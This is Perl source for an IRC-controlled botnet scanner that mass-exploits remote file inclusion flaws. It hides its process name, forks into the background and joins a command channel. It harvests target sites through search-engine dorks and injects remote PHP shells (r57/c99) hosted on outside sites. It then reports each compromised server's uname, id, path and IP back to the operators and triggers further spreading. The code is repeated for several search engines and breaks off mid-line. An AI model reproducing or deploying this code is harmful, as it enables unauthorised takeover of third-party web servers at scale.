################################# # MrNETi ## # Author: Tc-Team.com ## # TC-CREW production ## # We Are: MrNETi ^ ColdFire ## ################################# $process = "/sbin/mingetty tty1"; ## process my $printcmd = "http://www.amdgchoir.com/gallery/r57.txt?"; ## r57;c99 shell my $id = "http://landleben.bieswang.de/cache/id.txt??"; ## ID is private !! my $spread = "?"; ## spread my $ircserver = "irc.darksin.it"; ## ur irc server my $start = "!scan"; ## command to start scan my $port = "6667"; ## irc server port my $nickname = "[o0o]" . int( rand(99) ) . ""; ## nickname my $admin = "n4sty"; ## msg prv my $channel = "#TeRmInAtOr"; ## chan my $chanres = "#TeRmInAtOr"; ## channel print result my $verz = "ATL // Fams"; print "\n"; print " RFI Start !!\n"; print " MrFams By pwn3d\n"; print " Release $verz\n"; print " Now join $ircserver:$port\n"; print " $channel and $chanres\n"; print " Fams Security Clan ;)\n\n"; use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; require LWP; $|++; my $pid = fork; exit if $pid; $0 = "$process" . "\0" x 16; my $dsp = IO::Socket::INET->new( PeerAddr => "$ircserver", PeerPort => "$port", Proto => "tcp" ) or die "Can not connect on server!\n"; $dsp->autoflush(1); print $dsp "NICK $nickname\r\n"; print $dsp "USER Fams 8 * : &verz \r\n"; print $dsp "JOIN $channel\r\n"; print $dsp "PRIVMSG $channel :4!scan15 bug dork & 1!12G4o13o12g9l4e 15bug dork\r\n"; sleep(1); print $dsp "NICK $nickname\r\n"; print $dsp "USER priv8 8 * : $verz \r\n"; print $dsp "JOIN $chanres\r\n"; print $dsp "PRIVMSG $chanres :4Alb-Team;)\r\n"; print $dsp "PRIVMSG $chanres :4Created By KoRn\r\n"; while ( $line = <$dsp> ) { $line =~ s/\r\n$//; if ( $line =~ /^PING \:(.*)/ ) { print "PONG :$1"; print $dsp "PONG :$1"; } if ( $line =~ /PRIVMSG $channel :!help/ ) { sleep(1); display( $dsp,"PRIVMSG $channel :7,12Good Luck .."); display( $dsp,"PRIVMSG $channel :7Help !Scan bug dork & 1!12G4o8o12g9l4e 7bug dork"); display( $dsp, "PRIVMSG $channel :7 HelP Info?? Command is : !info" ); } if ( $line =~ /PRIVMSG $channel :!info/ ) { my $sysos = `uname -sr`; my $uptime = `uptime`; if ( $sysos =~ /freebsd/i ) { $sysname = `hostname`; $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`; $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; chomp($memory); chomp($swap); } elsif ( $sysos =~ /linux/i ) { $sysname = `hostname -f`; $memory = `free -m |grep -i mem | awk '{print \$2}'`; $swap = `free -m |grep -i swap | awk '{print \$2}'`; chomp($swap); chomp($memory); } else { $sysname = "No Found"; $memory = "No found"; $swap = "No Found"; } $uptime =~ s/\n//g; $sysname =~ s/\n//g; $sysos =~ s/\n//g; sleep(1); display( $dsp,"PRIVMSG $channel :7[4I7nfo] G3o..."); display( $dsp,"PRIVMSG $channel :7[4I7nfo] IrcServer/Port: $ircserver - $port"); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Hostname: $sysos "); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Process/PID: $admin - $$"); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Uptime: $uptime" ); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Memory/Swap: $memory - $swap"); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Admin:16 $admin"); } if ( $line =~ /PRIVMSG $channel :!id/ ) { ## İİ Script made by princeteam1979 . Don't remove this comment ! my $testid = $id; my $req = HTTP::Request->new( GET => $testid ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /<\?php/ ) { sleep(1); display( $dsp,"PRIVMSG $channel :4,1Id Work"); } } else { sleep(1); display( $dsp,"PRIVMSG $channel :7[4I7nfo] ID Is Dead ..Scan OUT.!!!"); display( $dsp,"PRIVMSG $channel :7[4I7nfo] 7Scan OUT 10 secs!!"); sleep(10); display( $dsp,"PRIVMSG $channel :7[4I7nfo] Exiting..." ); display( $dsp, "QUIT" ); } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; sleep(1); display( $dsp,"PRIVMSG $channel :7,1Ok... Start 1,4 $dork"); my @google = &googlet($dork); push( my @tot, @google ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 12G4o4o12g9l4e 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 12G4o4o12g9l4e 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Result..."); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[12G4o4o12g9l4e4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[12G4o4o12g9l4e4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Result..."); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @google = &googlet($dork); push( my @tot, @google ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3ScaN7] 12G4o4o12g9l4e PASS 12[]8[]4[] ".scalar(@tot)."3 for exploited.... 4".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3ScaN7] 12G4o8o12g9l4e PASS FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Result..."); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[12G4o4o12g9l4e4 PASS] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[12G4o4o12g9l4e4 PASS] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4 PASS] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Result..."); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4 PASS] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @alltheweb = &alltheweb($dork); push( my @tot, @alltheweb ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 12A7l8l3THE12W9e4B 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 12A7l8l3THE12W9e4B 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$pritcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Result..."); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[12A7l8l3THE12W9e4B] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[12A7l8l3THE12W9e4B] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[12A7l8l3THE12W9e4B] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Result..."); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[12A7l8l3THE12W9e4B] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @uol = &uolsub($dork); push( my @tot, @uol ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 7U3O7L 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 7U3O7L 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Result..."); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[7U3O7L4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[7U3O7L4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[7U3O7L4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Result..."); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[7U3O7L4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @altavista = &altavista($dork); push( my @tot, @allist, @alldeist, @allistus ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 7Al13tav3ista 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 7Al13tav3ista 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Result..."); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[7Al13tav3ista4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[7Al13tav3ista4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[7Al13tav3ista4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x); sleep(4); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Result..."); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[7Al13tav3ista4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @searchlist = &search($dork); my @search2 = &searchs($dork); push( my @tot, @searchlist, @search2 ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 4S6E7A12R4C3H 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 4S6E7A12R4C3H 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Result..."); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[4S6E7A12R4C3H4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[4S6E7A12R4C3H4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[4S6E7A12R4C3H4] Safe Mode OFF: $print"); my $test2 ="http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Result..."); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[4S6E7A12R4C3H4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @mlist = &msn($dork); push( my @tot, @mlist ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 7M4S7N 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 7M4S7N 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Result..."); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[7M4S7N4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[7M4S7N4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[7M4S7N4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Result..."); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[7M4S7N4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @asklist = &ask($dork); push( my @tot, @asklist ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 14A4S14K 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 14A4S14K 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Result..."); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[14A4S14K4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[14A4S14K4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[14A4S14K4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Result..."); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[14A4S14K4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @fireball = fireball($dork); push( my @tot, @fireball ); my @puliti = &unici(@tot); display( $dsp,"PRIVMSG $channel :7[3$channel7] 4F3i6r7e4B7a12ll 